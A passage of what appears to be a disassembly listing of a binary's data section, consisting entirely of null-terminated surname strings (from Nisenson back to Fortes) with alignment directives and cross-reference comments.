aNisenson db 'Nisenson',0 ; DATA XREF: .data:0042E8ECo
align 4
aNickoloff db 'Nickoloff',0 ; DATA XREF: .data:0042E8E8o
align 4
aNickerson db 'Nickerson',0 ; DATA XREF: .data:0042E8E4o
align 4
aNi_0 db 'Ni',0 ; DATA XREF: .data:0042E8E0o
align 4
aNg db 'Ng',0 ; DATA XREF: .data:0042E8DCo
align 4
aNewlin db 'Newlin',0 ; DATA XREF: .data:0042E8D8o
align 4
aNewfeld db 'Newfeld',0 ; DATA XREF: .data:0042E8D4o
aNeuman db 'Neuman',0 ; DATA XREF: .data:0042E8D0o
align 4
aNesci db 'Nesci',0 ; DATA XREF: .data:0042E8CCo
align 4
aNenna db 'Nenna',0 ; DATA XREF: .data:0042E8C8o
align 4
aNelson db 'Nelson',0 ; DATA XREF: .data:0042E8C4o
align 4
aNayduch db 'Nayduch',0 ; DATA XREF: .data:0042E8C0o
aNaviaux db 'Naviaux',0 ; DATA XREF: .data:0042E8BCo
aNardone db 'Nardone',0 ; DATA XREF: .data:0042E8B8o
aNardi db 'Nardi',0 ; DATA XREF: .data:0042E8B4o
align 4
aNapolitano db 'Napolitano',0 ; DATA XREF: .data:0042E8B0o
align 4
aNaddeo db 'Naddeo',0 ; DATA XREF: .data:0042E8ACo
align 10h
aMussachio db 'Mussachio',0 ; DATA XREF: .data:0042E8A8o
align 4
aMumford db 'Mumford',0 ; DATA XREF: .data:0042E8A4o
aMulroy db 'Mulroy',0 ; DATA XREF: .data:0042E8A0o
align 4
aMulkern db 'Mulkern',0 ; DATA XREF: .data:0042E89Co
aMugnai db 'Mugnai',0 ; DATA XREF: .data:0042E898o
align 4
aMuello db 'Muello',0 ; DATA XREF: .data:0042E894o
align 4
aMudarri db 'Mudarri',0 ; DATA XREF: .data:0042E890o
aMotooka db 'Motooka',0 ; DATA XREF: .data:0042E88Co
aMostafavi db 'Mostafavi',0 ; DATA XREF: .data:0042E888o
align 10h
aMosler db 'Mosler',0 ; DATA XREF: .data:0042E884o
align 4
aMosher db 'Mosher',0 ; DATA XREF: .data:0042E880o
align 10h
aMortimer db 'Mortimer',0 ; DATA XREF: .data:0042E87Co
align 4
aMorrow db 'Morrow',0 ; DATA XREF: .data:0042E878o
align 4
aMorrison db 'Morrison',0 ; DATA XREF: .data:0042E874o
align 10h
aMoreton db 'Moreton',0 ; DATA XREF: .data:0042E870o
aMorani db 'Morani',0 ; DATA XREF: .data:0042E86Co
align 10h
aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: .data:0042E868o
align 4
aMontilio db 'Montilio',0 ; DATA XREF: .data:0042E864o
align 4
aMonque db 'Monque',0 ; DATA XREF: .data:0042E860o
align 10h
aMoiamedi db 'Moiamedi',0 ; DATA XREF: .data:0042E85Co
align 4
aMohr db 'Mohr',0 ; DATA XREF: .data:0042E858o
align 4
aMoeller db 'Moeller',0 ; DATA XREF: .data:0042E854o
aModestino db 'Modestino',0 ; DATA XREF: .data:0042E850o
align 4
aMocroft db 'Mocroft',0 ; DATA XREF: .data:0042E84Co
aMittal db 'Mittal',0 ; DATA XREF: .data:0042E848o
align 4
aMitropoulos db 'Mitropoulos',0 ; DATA XREF: .data:0042E844o
aGonzalez db 'Gonzalez',0 ; DATA XREF: .data:0042E840o
align 10h
aMinichiello db 'Minichiello',0 ; DATA XREF: .data:0042E83Co
aMini db 'Mini',0 ; DATA XREF: .data:0042E838o
align 4
aMinh db 'Minh',0 ; DATA XREF: .data:0042E834o
align 4
aMills db 'Mills',0 ; DATA XREF: .data:0042E830o
align 4
aMieher db 'Mieher',0 ; DATA XREF: .data:0042E82Co
align 4
aMiddle db 'Middle',0 ; DATA XREF: .data:0042E828o
align 4
aMichelman db 'Michelman',0 ; DATA XREF: .data:0042E824o
align 10h
aMeurer db 'Meurer',0 ; DATA XREF: .data:0042E820o
align 4
aMetropolis db 'Metropolis',0 ; DATA XREF: .data:0042E81Co
align 4
aMetelka db 'Metelka',0 ; DATA XREF: .data:0042E818o
aMerz db 'Merz',0 ; DATA XREF: .data:0042E814o
align 4
aMerseth db 'Merseth',0 ; DATA XREF: .data:0042E810o
aMerminod db 'Merminod',0 ; DATA XREF: .data:0042E80Co
align 4
aMerlani db 'Merlani',0 ; DATA XREF: .data:0042E808o
aMerikoski db 'Merikoski',0 ; DATA XREF: .data:0042E804o
align 4
aMenzies db 'Menzies',0 ; DATA XREF: .data:0042E800o
aMemisoglu db 'Memisoglu',0 ; DATA XREF: .data:0042E7FCo
align 10h
aMeccariello db 'Meccariello',0 ; DATA XREF: .data:0042E7F8o
aMcnulty db 'Mcnulty',0 ; DATA XREF: .data:0042E7F4o
aMcnealy db 'Mcnealy',0 ; DATA XREF: .data:0042E7F0o
aMclaren db 'Mclaren',0 ; DATA XREF: .data:0042E7ECo
aMclane db 'Mclane',0 ; DATA XREF: .data:0042E7E8o
align 4
aMckenna db 'Mckenna',0 ; DATA XREF: .data:0042E7E4o
aMcintosh db 'Mcintosh',0 ; DATA XREF: .data:0042E7E0o
align 10h
aMcilroy db 'McIlroy',0 ; DATA XREF: .data:0042E7DCo
aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: .data:0042E7D8o
align 4
aMcghee db 'Mcghee',0 ; DATA XREF: .data:0042E7D4o
align 4
aMcfadden db 'McFadden',0 ; DATA XREF: .data:0042E7D0o
align 4
aMcelroy db 'Mcelroy',0 ; DATA XREF: .data:0042E7CCo
aMcdowell db 'Mcdowell',0 ; DATA XREF: .data:0042E7C8o
align 4
aMcclearn db 'Mcclearn',0 ; DATA XREF: .data:0042E7C4o
align 4
aMccall db 'Mccall',0 ; DATA XREF: .data:0042E7C0o
align 10h
aMccaffery db 'Mccaffery',0 ; DATA XREF: .data:0042E7BCo
align 4
aMcbride db 'Mcbride',0 ; DATA XREF: .data:0042E7B8o
aMazziotta db 'Mazziotta',0 ; DATA XREF: .data:0042E7B4o
align 10h
aMazzali db 'Mazzali',0 ; DATA XREF: .data:0042E7B0o
aMay db 'May',0 ; DATA XREF: .data:0042E7ACo
aMauzy db 'Mauzy',0 ; DATA XREF: .data:0042E7A8o
align 4
aMattson db 'Mattson',0 ; DATA XREF: .data:0042E7A4o
aMatsukata db 'Matsukata',0 ; DATA XREF: .data:0042E7A0o
align 4
aMatarazzo db 'Matarazzo',0 ; DATA XREF: .data:0042E79Co
align 4
aMatalka db 'Matalka',0 ; DATA XREF: .data:0042E798o
aMass db 'Mass',0 ; DATA XREF: .data:0042E794o
align 4
aMarubini db 'Marubini',0 ; DATA XREF: .data:0042E790o
align 10h
aMarton db 'Marton',0 ; DATA XREF: .data:0042E78Co
align 4
aMartochio db 'Martochio',0 ; DATA XREF: .data:0042E788o
align 4
aMartinez db 'Martinez',0 ; DATA XREF: .data:0042E784o
align 10h
aMarques db 'Marques',0 ; DATA XREF: .data:0042E780o
aMargetts db 'Margetts',0 ; DATA XREF: .data:0042E77Co
align 4
aMargalit db 'Margalit',0 ; DATA XREF: .data:0042E778o
align 10h
aMarcus db 'Marcus',0 ; DATA XREF: .data:0042E774o
align 4
aMarchbanks db 'Marchbanks',0 ; DATA XREF: .data:0042E770o
align 4
aMarch db 'March',0 ; DATA XREF: .data:0042E76Co
align 4
aMantovan db 'Mantovan',0 ; DATA XREF: .data:0042E768o
align 4
aManganiello db 'Manganiello',0 ; DATA XREF: .data:0042E764o
aMandel db 'Mandel',0 ; DATA XREF: .data:0042E760o
align 4
aManalis db 'Manalis',0 ; DATA XREF: .data:0042E75Co
aMalova db 'Malova',0 ; DATA XREF: .data:0042E758o
align 4
aMaller db 'Maller',0 ; DATA XREF: .data:0042E754o
align 4
aMalatesta db 'Malatesta',0 ; DATA XREF: .data:0042E750o
align 10h
aMaisano db 'Maisano',0 ; DATA XREF: .data:0042E74Co
aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: .data:0042E748o
align 4
aMaier db 'Maier',0 ; DATA XREF: .data:0042E744o
align 10h
aMahony db 'Mahony',0 ; DATA XREF: .data:0042E740o
align 4
aMaggio db 'Maggio',0 ; DATA XREF: .data:0042E73Co
align 10h
aMadigan db 'Madigan',0 ; DATA XREF: .data:0042E738o
aMacy db 'Macy',0 ; DATA XREF: .data:0042E734o
align 10h
aMacmillan db 'MacMillan',0 ; DATA XREF: .data:0042E730o
align 4
aMackenney db 'Mackenney',0 ; DATA XREF: .data:0042E72Co
align 4
aMacintyre db 'Macintyre',0 ; DATA XREF: .data:0042E728o
align 4
aMaceachern db 'Maceachern',0 ; DATA XREF: .data:0042E724o
align 10h
aMacdonald db 'Macdonald',0 ; DATA XREF: .data:0042E720o
align 4
aMaccormac db 'Maccormac',0 ; DATA XREF: .data:0042E71Co
align 4
aMa db 'Ma',0 ; DATA XREF: .data:0042E718o
align 4
aLuzader db 'Luzader',0 ; DATA XREF: .data:0042E714o
aLutcavage db 'Lutcavage',0 ; DATA XREF: .data:0042E710o
align 10h
aLussier db 'Lussier',0 ; DATA XREF: .data:0042E70Co
aLuoma db 'Luoma',0 ; DATA XREF: .data:0042E708o
align 10h
aLunetta db 'Lunetta',0 ; DATA XREF: .data:0042E704o
aLuecke db 'Luecke',0 ; DATA XREF: .data:0042E700o
align 10h
aLuczkow db 'Luczkow',0 ; DATA XREF: .data:0042E6FCo
aLuciano db 'Luciano',0 ; DATA XREF: .data:0042E6F8o
aLucas db 'Lucas',0 ; DATA XREF: .data:0042E6F4o
align 4
aLubin db 'Lubin',0 ; DATA XREF: .data:0042E6F0o
align 10h
aLoza db 'Loza',0 ; DATA XREF: .data:0042E6ECo
align 4
aLowenstein db 'Lowenstein',0 ; DATA XREF: .data:0042E6E8o
align 4
aLoveman db 'Loveman',0 ; DATA XREF: .data:0042E6E4o
aLoss db 'Loss',0 ; DATA XREF: .data:0042E6E0o
align 4
aLongworth db 'Longworth',0 ; DATA XREF: .data:0042E6DCo
align 10h
aLocatelli db 'Locatelli',0 ; DATA XREF: .data:0042E6D8o
align 4
aLizardo db 'Lizardo',0 ; DATA XREF: .data:0042E6D4o
aLivolsi db 'Livolsi',0 ; DATA XREF: .data:0042E6D0o
aLivi db 'Livi',0 ; DATA XREF: .data:0042E6CCo
align 4
aLivernash db 'Livernash',0 ; DATA XREF: .data:0042E6C8o
align 10h
aLitvak db 'Litvak',0 ; DATA XREF: .data:0042E6C4o
align 4
aLittle db 'Little',0 ; DATA XREF: .data:0042E6C0o
align 10h
aLipponen db 'Lipponen',0 ; DATA XREF: .data:0042E6BCo
align 4
aLippmann db 'Lippmann',0 ; DATA XREF: .data:0042E6B8o
align 4
aLinzee db 'Linzee',0 ; DATA XREF: .data:0042E6B4o
align 10h
aLinehan db 'Linehan',0 ; DATA XREF: .data:0042E6B0o
aLine db 'Line',0 ; DATA XREF: .data:0042E6ACo
align 10h
aLinder db 'Linder',0 ; DATA XREF: .data:0042E6A8o
align 4
aLinda db 'Linda',0 ; DATA XREF: .data:0042E6A4o
align 10h
aLinares db 'Linares',0 ; DATA XREF: .data:0042E6A0o
aLim db 'Lim',0 ; DATA XREF: .data:0042E69Co
aLightfoot db 'Lightfoot',0 ; DATA XREF: .data:0042E698o
align 4
aLight db 'Light',0 ; DATA XREF: .data:0042E694o
align 10h
aLiem db 'Liem',0 ; DATA XREF: .data:0042E690o
align 4
aLidano db 'Lidano',0 ; DATA XREF: .data:0042E68Co
align 10h
aLiakos db 'Liakos',0 ; DATA XREF: .data:0042E688o
align 4
aLessi db 'Lessi',0 ; DATA XREF: .data:0042E684o
align 10h
aLesser db 'Lesser',0 ; DATA XREF: .data:0042E680o
align 4
aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: .data:0042E67Co
align 4
aLenard db 'Lenard',0 ; DATA XREF: .data:0042E678o
align 4
aLeite db 'Leite',0 ; DATA XREF: .data:0042E674o
align 4
aLeclercq db 'Leclercq',0 ; DATA XREF: .data:0042E670o
align 10h
aLecce db 'Lecce',0 ; DATA XREF: .data:0042E66Co
align 4
aLecar db 'Lecar',0 ; DATA XREF: .data:0042E668o
align 10h
aLawless db 'Lawless',0 ; DATA XREF: .data:0042E664o
aLashley db 'Lashley',0 ; DATA XREF: .data:0042E660o
aLaserna db 'Laserna',0 ; DATA XREF: .data:0042E65Co
aLanzit db 'Lanzit',0 ; DATA XREF: .data:0042E658o
align 10h
aLantieri db 'Lantieri',0 ; DATA XREF: .data:0042E654o
align 4
aLankes db 'Lankes',0 ; DATA XREF: .data:0042E650o
align 4
aLandes db 'Landes',0 ; DATA XREF: .data:0042E64Co
align 4
aLallemant db 'Lallemant',0 ; DATA XREF: .data:0042E648o
align 4
aLaing db 'Laing',0 ; DATA XREF: .data:0042E644o
align 10h
aLafler db 'Lafler',0 ; DATA XREF: .data:0042E640o
align 4
aLabunka db 'Labunka',0 ; DATA XREF: .data:0042E63Co
aLa db 'La',0 ; DATA XREF: .data:0042E638o
align 4
aKuwabara db 'Kuwabara',0 ; DATA XREF: .data:0042E634o
align 10h
aKusman db 'Kusman',0 ; DATA XREF: .data:0042E630o
align 4
aKumar db 'Kumar',0 ; DATA XREF: .data:0042E62Co
align 10h
aKuenzli db 'Kuenzli',0 ; DATA XREF: .data:0042E628o
aKrysiak db 'Krysiak',0 ; DATA XREF: .data:0042E624o
aKroemer db 'Kroemer',0 ; DATA XREF: .data:0042E620o
aKraus db 'Kraus',0 ; DATA XREF: .data:0042E61Co
align 10h
aKrasney db 'Krasney',0 ; DATA XREF: .data:0042E618o
aKrailo db 'Krailo',0 ; DATA XREF: .data:0042E614o
align 10h
aKraemer db 'Kraemer',0 ; DATA XREF: .data:0042E610o
aKovaks db 'Kovaks',0 ; DATA XREF: .data:0042E60Co
align 10h
aKotter db 'Kotter',0 ; DATA XREF: .data:0042E608o
align 4
aKorzybski db 'Korzybski',0 ; DATA XREF: .data:0042E604o
align 4
aKool db 'Kool',0 ; DATA XREF: .data:0042E600o
align 4
aKonrad db 'Konrad',0 ; DATA XREF: .data:0042E5FCo
align 4
aKoniaris db 'Koniaris',0 ; DATA XREF: .data:0042E5F8o
align 10h
aKommer db 'Kommer',0 ; DATA XREF: .data:0042E5F4o
align 4
aKoivumaki db 'Koivumaki',0 ; DATA XREF: .data:0042E5F0o
align 4
aKohn db 'Kohn',0 ; DATA XREF: .data:0042E5ECo
align 4
aKoch db 'Koch',0 ; DATA XREF: .data:0042E5E8o
align 4
aKobrick db 'Kobrick',0 ; DATA XREF: .data:0042E5E4o
aKnuff db 'Knuff',0 ; DATA XREF: .data:0042E5E0o
align 4
aKlint db 'Klint',0 ; DATA XREF: .data:0042E5DCo
align 4
aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: .data:0042E5D8o
aKling db 'Kling',0 ; DATA XREF: .data:0042E5D4o
align 10h
aKlemperer db 'Klemperer',0 ; DATA XREF: .data:0042E5D0o
align 4
aKleinfelder db 'Kleinfelder',0 ; DATA XREF: .data:0042E5CCo
aKleiman db 'Kleiman',0 ; DATA XREF: .data:0042E5C8o
aKleckner db 'Kleckner',0 ; DATA XREF: .data:0042E5C4o
align 4
aKittridge db 'Kittridge',0 ; DATA XREF: .data:0042E5C0o
align 4
aKirscht db 'Kirscht',0 ; DATA XREF: .data:0042E5BCo
aKippenberger db 'Kippenberger',0 ; DATA XREF: .data:0042E5B8o
align 10h
aKinsley db 'Kinsley',0 ; DATA XREF: .data:0042E5B4o
aKindall db 'Kindall',0 ; DATA XREF: .data:0042E5B0o
aKimura db 'Kimura',0 ; DATA XREF: .data:0042E5ACo
align 4
aKimmett db 'Kimmett',0 ; DATA XREF: .data:0042E5A8o
aKimmel db 'Kimmel',0 ; DATA XREF: .data:0042E5A4o
align 4
aKhong db 'Khong',0 ; DATA XREF: .data:0042E5A0o
align 10h
aKeul db 'Keul',0 ; DATA XREF: .data:0042E59Co
align 4
aKerry db 'Kerry',0 ; DATA XREF: .data:0042E598o
align 10h
aKendall db 'Kendall',0 ; DATA XREF: .data:0042E594o
aKemsley db 'Kemsley',0 ; DATA XREF: .data:0042E590o
aKempton db 'Kempton',0 ; DATA XREF: .data:0042E58Co
aKelsey db 'Kelsey',0 ; DATA XREF: .data:0042E588o
align 10h
aKelker db 'Kelker',0 ; DATA XREF: .data:0042E584o
align 4
aKeith db 'Keith',0 ; DATA XREF: .data:0042E580o
align 10h
aKeepper db 'Keepper',0 ; DATA XREF: .data:0042E57Co
aKeenan db 'Keenan',0 ; DATA XREF: .data:0042E578o
align 10h
aKee db 'Kee',0 ; DATA XREF: .data:0042E574o
aKawachi db 'Kawachi',0 ; DATA XREF: .data:0042E570o
aKasten db 'Kasten',0 ; DATA XREF: .data:0042E56Co
align 4
aKassower db 'Kassower',0 ; DATA XREF: .data:0042E568o
align 10h
aKarpouzes db 'Karpouzes',0 ; DATA XREF: .data:0042E564o
align 4
aKangis db 'Kangis',0 ; DATA XREF: .data:0042E560o
align 4
aKamel db 'Kamel',0 ; DATA XREF: .data:0042E55Co
align 4
aKalman db 'Kalman',0 ; DATA XREF: .data:0042E558o
align 4
aKalinowski db 'Kalinowski',0 ; DATA XREF: .data:0042E554o
align 10h
aKalil db 'Kalil',0 ; DATA XREF: .data:0042E550o
align 4
aKaligian db 'Kaligian',0 ; DATA XREF: .data:0042E54Co
align 4
aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: .data:0042E548o
aKafadar db 'Kafadar',0 ; DATA XREF: .data:0042E544o
aKaboolian db 'Kaboolian',0 ; DATA XREF: .data:0042E540o
align 4
aKabbash db 'Kabbash',0 ; DATA XREF: .data:0042E53Co
aJulious db 'Julious',0 ; DATA XREF: .data:0042E538o
aJuliano db 'Juliano',0 ; DATA XREF: .data:0042E534o
aJucks db 'Jucks',0 ; DATA XREF: .data:0042E530o
align 4
aJorgensen db 'Jorgensen',0 ; DATA XREF: .data:0042E52Co
align 10h
aJolly db 'Jolly',0 ; DATA XREF: .data:0042E528o
align 4
aJohns db 'Johns',0 ; DATA XREF: .data:0042E524o
align 10h
aJohannsen db 'Johannsen',0 ; DATA XREF: .data:0042E520o
align 4
aJohannesson db 'Johannesson',0 ; DATA XREF: .data:0042E51Co
aJewett db 'Jewett',0 ; DATA XREF: .data:0042E518o
align 10h
aJespersen db 'Jespersen',0 ; DATA XREF: .data:0042E514o
align 4
aJenkins db 'Jenkins',0 ; DATA XREF: .data:0042E510o
aJellis db 'Jellis',0 ; DATA XREF: .data:0042E50Co
align 4
aJeffers db 'Jeffers',0 ; DATA XREF: .data:0042E508o
aJay db 'Jay',0 ; DATA XREF: .data:0042E504o
aJarrell db 'Jarrell',0 ; DATA XREF: .data:0042E500o
aJarnagin db 'Jarnagin',0 ; DATA XREF: .data:0042E4FCo
align 4
aJanjigian db 'Janjigian',0 ; DATA XREF: .data:0042E4F8o
align 4
aJamil db 'Jamil',0 ; DATA XREF: .data:0042E4F4o
align 10h
aJain db 'Jain',0 ; DATA XREF: .data:0042E4F0o
align 4
aJagoe db 'Jagoe',0 ; DATA XREF: .data:0042E4ECo
align 10h
aJagger db 'Jagger',0 ; DATA XREF: .data:0042E4E8o
align 4
aJagers db 'Jagers',0 ; DATA XREF: .data:0042E4E4o
align 10h
aJackson db 'Jackson',0 ; DATA XREF: .data:0042E4E0o
aJacenko db 'Jacenko',0 ; DATA XREF: .data:0042E4DCo
aIyer db 'Iyer',0 ; DATA XREF: .data:0042E4D8o
align 4
aIsserman db 'Isserman',0 ; DATA XREF: .data:0042E4D4o
align 4
aIsbill db 'Isbill',0 ; DATA XREF: .data:0042E4D0o
align 4
aIsaievych db 'Isaievych',0 ; DATA XREF: .data:0042E4CCo
align 4
aIsaac db 'Isaac',0 ; DATA XREF: .data:0042E4C8o
align 10h
aInniss db 'Inniss',0 ; DATA XREF: .data:0042E4C4o
align 4
aInamura db 'Inamura',0 ; DATA XREF: .data:0042E4C0o
aIgarashi db 'Igarashi',0 ; DATA XREF: .data:0042E4BCo
align 4
aIchikawa db 'Ichikawa',0 ; DATA XREF: .data:0042E4B8o
align 4
aIaquinta db 'Iaquinta',0 ; DATA XREF: .data:0042E4B4o
align 4
aHyde db 'Hyde',0 ; DATA XREF: .data:0042E4B0o
align 4
aHutchings db 'Hutchings',0 ; DATA XREF: .data:0042E4ACo
align 4
aHurtubise db 'Hurtubise',0 ; DATA XREF: .data:0042E4A8o
align 4
aHupp db 'Hupp',0 ; DATA XREF: .data:0042E4A4o
align 4
aHuntington db 'Huntington',0 ; DATA XREF: .data:0042E4A0o
align 4
aHungerford db 'Hungerford',0 ; DATA XREF: .data:0042E49Co
align 4
aHuidekoper db 'Huidekoper',0 ; DATA XREF: .data:0042E498o
align 10h
aHuey db 'Huey',0 ; DATA XREF: .data:0042E494o
align 4
aHoy db 'Hoy',0 ; DATA XREF: .data:0042E490o
aHoward db 'Howard',0 ; DATA XREF: .data:0042E48Co
align 4
aHottle db 'Hottle',0 ; DATA XREF: .data:0042E488o
align 4
aHostage db 'Hostage',0 ; DATA XREF: .data:0042E484o
aHoshida db 'Hoshida',0 ; DATA XREF: .data:0042E480o
aHorsley db 'Horsley',0 ; DATA XREF: .data:0042E47Co
aHopkins db 'Hopkins',0 ; DATA XREF: .data:0042E478o
aHooker db 'Hooker',0 ; DATA XREF: .data:0042E474o
align 4
aHolzman db 'Holzman',0 ; DATA XREF: .data:0042E470o
aHolway db 'Holway',0 ; DATA XREF: .data:0042E46Co
align 4
aHolter db 'Holter',0 ; DATA XREF: .data:0042E468o
align 4
aHoloien db 'Holoien',0 ; DATA XREF: .data:0042E464o
aHolmes db 'Holmes',0 ; DATA XREF: .data:0042E460o
align 4
aHokoda db 'Hokoda',0 ; DATA XREF: .data:0042E45Co
align 4
aHokanson db 'Hokanson',0 ; DATA XREF: .data:0042E458o
align 10h
aHoffman db 'Hoffman',0 ; DATA XREF: .data:0042E454o
aHoffer db 'Hoffer',0 ; DATA XREF: .data:0042E450o
align 10h
aHock db 'Hock',0 ; DATA XREF: .data:0042E44Co
align 4
aHoang db 'Hoang',0 ; DATA XREF: .data:0042E448o
align 10h
aHitchcock db 'Hitchcock',0 ; DATA XREF: .data:0042E444o
align 4
aHirst db 'Hirst',0 ; DATA XREF: .data:0042E440o
align 4
aHind db 'Hind',0 ; DATA XREF: .data:0042E43Co
align 4
aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: .data:0042E438o
align 4
aHeyeck db 'Heyeck',0 ; DATA XREF: .data:0042E434o
align 10h
aHeubert db 'Heubert',0 ; DATA XREF: .data:0042E430o
aHester db 'Hester',0 ; DATA XREF: .data:0042E42Co
align 10h
aHerrera db 'Herrera',0 ; DATA XREF: .data:0042E428o
aHernandez db 'Hernandez',0 ; DATA XREF: .data:0042E424o
align 4
aHenrichs db 'Henrichs',0 ; DATA XREF: .data:0042E420o
align 10h
aHenery db 'Henery',0 ; DATA XREF: .data:0042E41Co
align 4
aHemphill db 'Hemphill',0 ; DATA XREF: .data:0042E418o
align 4
aHelprin db 'Helprin',0 ; DATA XREF: .data:0042E414o
aHellmiss db 'Hellmiss',0 ; DATA XREF: .data:0042E410o
align 4
aHellman db 'Hellman',0 ; DATA XREF: .data:0042E40Co
aHeiland db 'Heiland',0 ; DATA XREF: .data:0042E408o
aHeft db 'Heft',0 ; DATA XREF: .data:0042E404o
align 10h
aHeermans db 'Heermans',0 ; DATA XREF: .data:0042E400o
align 4
aHazlewood db 'Hazlewood',0 ; DATA XREF: .data:0042E3FCo
align 4
aHaynes db 'Haynes',0 ; DATA XREF: .data:0042E3F8o
align 10h
aHayes db 'Hayes',0 ; DATA XREF: .data:0042E3F4o
align 4
aHawkes db 'Hawkes',0 ; DATA XREF: .data:0042E3F0o
align 10h
aHaviaras db 'Haviaras',0 ; DATA XREF: .data:0042E3ECo
align 4
aHarwell db 'Harwell',0 ; DATA XREF: .data:0042E3E8o
aHartnett db 'Hartnett',0 ; DATA XREF: .data:0042E3E4o
align 10h
aHartmann db 'Hartmann',0 ; DATA XREF: .data:0042E3E0o
align 4
aHartman db 'Hartman',0 ; DATA XREF: .data:0042E3DCo
aHarrigan db 'Harrigan',0 ; DATA XREF: .data:0042E3D8o
align 10h
aHarlow db 'Harlow',0 ; DATA XREF: .data:0042E3D4o
align 4
aHargraves db 'Hargraves',0 ; DATA XREF: .data:0042E3D0o
align 4
aHarding db 'Harding',0 ; DATA XREF: .data:0042E3CCo
aHanssen db 'Hanssen',0 ; DATA XREF: .data:0042E3C8o
aHand db 'Hand',0 ; DATA XREF: .data:0042E3C4o
align 4
aHammerness db 'Hammerness',0 ; DATA XREF: .data:0042E3C0o
align 4
aHamer db 'Hamer',0 ; DATA XREF: .data:0042E3BCo
align 10h
aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: .data:0042E3B8o
align 10h
aHalpert db 'Halpert',0 ; DATA XREF: .data:0042E3B4o
aHallowell db 'Hallowell',0 ; DATA XREF: .data:0042E3B0o
align 4
aHalkias db 'Halkias',0 ; DATA XREF: .data:0042E3ACo
aHaley db 'Haley',0 ; DATA XREF: .data:0042E3A8o
align 4
aHackshaw db 'Hackshaw',0 ; DATA XREF: .data:0042E3A4o
align 10h
aHackman db 'Hackman',0 ; DATA XREF: .data:0042E3A0o
aHaar db 'Haar',0 ; DATA XREF: .data:0042E39Co
align 10h
aHa db 'Ha',0 ; DATA XREF: .data:0042E398o
align 4
aGuo db 'Guo',0 ; DATA XREF: .data:0042E394o
aGunn db 'Gunn',0 ; DATA XREF: .data:0042E390o
align 10h
aGuenthart db 'Guenthart',0 ; DATA XREF: .data:0042E38Co
align 4
aGruppe db 'Gruppe',0 ; DATA XREF: .data:0042E388o
align 4
aGruner db 'Gruner',0 ; DATA XREF: .data:0042E384o
align 4
aGrummell db 'Grummell',0 ; DATA XREF: .data:0042E380o
align 4
aGrigoletto db 'Grigoletto',0 ; DATA XREF: .data:0042E37Co
align 4
aGriffiths db 'Griffiths',0 ; DATA XREF: .data:0042E378o
align 10h
aGreenfeld db 'Greenfeld',0 ; DATA XREF: .data:0042E374o
align 4
aGreenberg db 'Greenberg',0 ; DATA XREF: .data:0042E370o
align 4
aGravell db 'Gravell',0 ; DATA XREF: .data:0042E36Co
aGozzi db 'Gozzi',0 ; DATA XREF: .data:0042E368o
align 4
aGoody db 'Goody',0 ; DATA XREF: .data:0042E364o
align 10h
aGoodearl db 'Goodearl',0 ; DATA XREF: .data:0042E360o
align 4
aGood db 'Good',0 ; DATA XREF: .data:0042E35Co
align 4
aGoncalves db 'Goncalves',0 ; DATA XREF: .data:0042E358o
align 10h
aGoldfarb db 'Goldfarb',0 ; DATA XREF: .data:0042E354o
align 4
aGlendon db 'Glendon',0 ; DATA XREF: .data:0042E350o
aGlegg db 'Glegg',0 ; DATA XREF: .data:0042E34Co
align 4
aGleason db 'Gleason',0 ; DATA XREF: .data:0042E348o
aGist db 'Gist',0 ; DATA XREF: .data:0042E344o
align 4
aGillispie db 'Gillispie',0 ; DATA XREF: .data:0042E340o
align 4
aGill db 'Gill',0 ; DATA XREF: .data:0042E33Co
align 10h
aGili db 'Gili',0 ; DATA XREF: .data:0042E338o
align 4
aGilbert db 'Gilbert',0 ; DATA XREF: .data:0042E334o
aGibson db 'Gibson',0 ; DATA XREF: .data:0042E330o
align 4
aGibbens db 'Gibbens',0 ; DATA XREF: .data:0042E32Co
aGhorai db 'Ghorai',0 ; DATA XREF: .data:0042E328o
align 4
aGerrett db 'Gerrett',0 ; DATA XREF: .data:0042E324o
aGeorgi db 'Georgi',0 ; DATA XREF: .data:0042E320o
align 4
aGemberling db 'Gemberling',0 ; DATA XREF: .data:0042E31Co
align 4
aGeller db 'Geller',0 ; DATA XREF: .data:0042E318o
align 4
aGaronna db 'Garonna',0 ; DATA XREF: .data:0042E314o
aGarman db 'Garman',0 ; DATA XREF: .data:0042E310o
align 4
aGarfield db 'Garfield',0 ; DATA XREF: .data:0042E30Co
align 4
aGambini db 'Gambini',0 ; DATA XREF: .data:0042E308o
aGalwey db 'Galwey',0 ; DATA XREF: .data:0042E304o
align 4
aGaleotti db 'Galeotti',0 ; DATA XREF: .data:0042E300o
align 4
aGaggiotti db 'Gaggiotti',0 ; DATA XREF: .data:0042E2FCo
align 10h
aGabrielli db 'Gabrielli',0 ; DATA XREF: .data:0042E2F8o
align 4
aFusaro db 'Fusaro',0 ; DATA XREF: .data:0042E2F4o
align 4
aFurth db 'Furth',0 ; DATA XREF: .data:0042E2F0o
align 4
aFuller db 'Fuller',0 ; DATA XREF: .data:0042E2ECo
align 4
aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: .data:0042E2E8o
align 10h
aFrye db 'Frye',0 ; DATA XREF: .data:0042E2E4o
align 4
aFryberger db 'Fryberger',0 ; DATA XREF: .data:0042E2E0o
align 4
aFrowiss db 'Frowiss',0 ; DATA XREF: .data:0042E2DCo
aFrisken db 'Frisken',0 ; DATA XREF: .data:0042E2D8o
aFriedland db 'Friedland',0 ; DATA XREF: .data:0042E2D4o
align 10h
aFried db 'Fried',0 ; DATA XREF: .data:0042E2D0o
align 4
aFreundlich db 'Freundlich',0 ; DATA XREF: .data:0042E2CCo
align 4
aFreid db 'Freid',0 ; DATA XREF: .data:0042E2C8o
align 4
aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: .data:0042E2C4o
align 4
aFranz db 'Franz',0 ; DATA XREF: .data:0042E2C0o
align 4
aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: .data:0042E2BCo
align 4
aFrancisco db 'Francisco',0 ; DATA XREF: .data:0042E2B8o
align 10h
aFossi db 'Fossi',0 ; DATA XREF: .data:0042E2B4o
align 4
aFossey db 'Fossey',0 ; DATA XREF: .data:0042E2B0o
align 10h
aFortier db 'Fortier',0 ; DATA XREF: .data:0042E2ACo
aFortes db 'Fortes',0 ; DATA XREF: .data:0042E2A8o
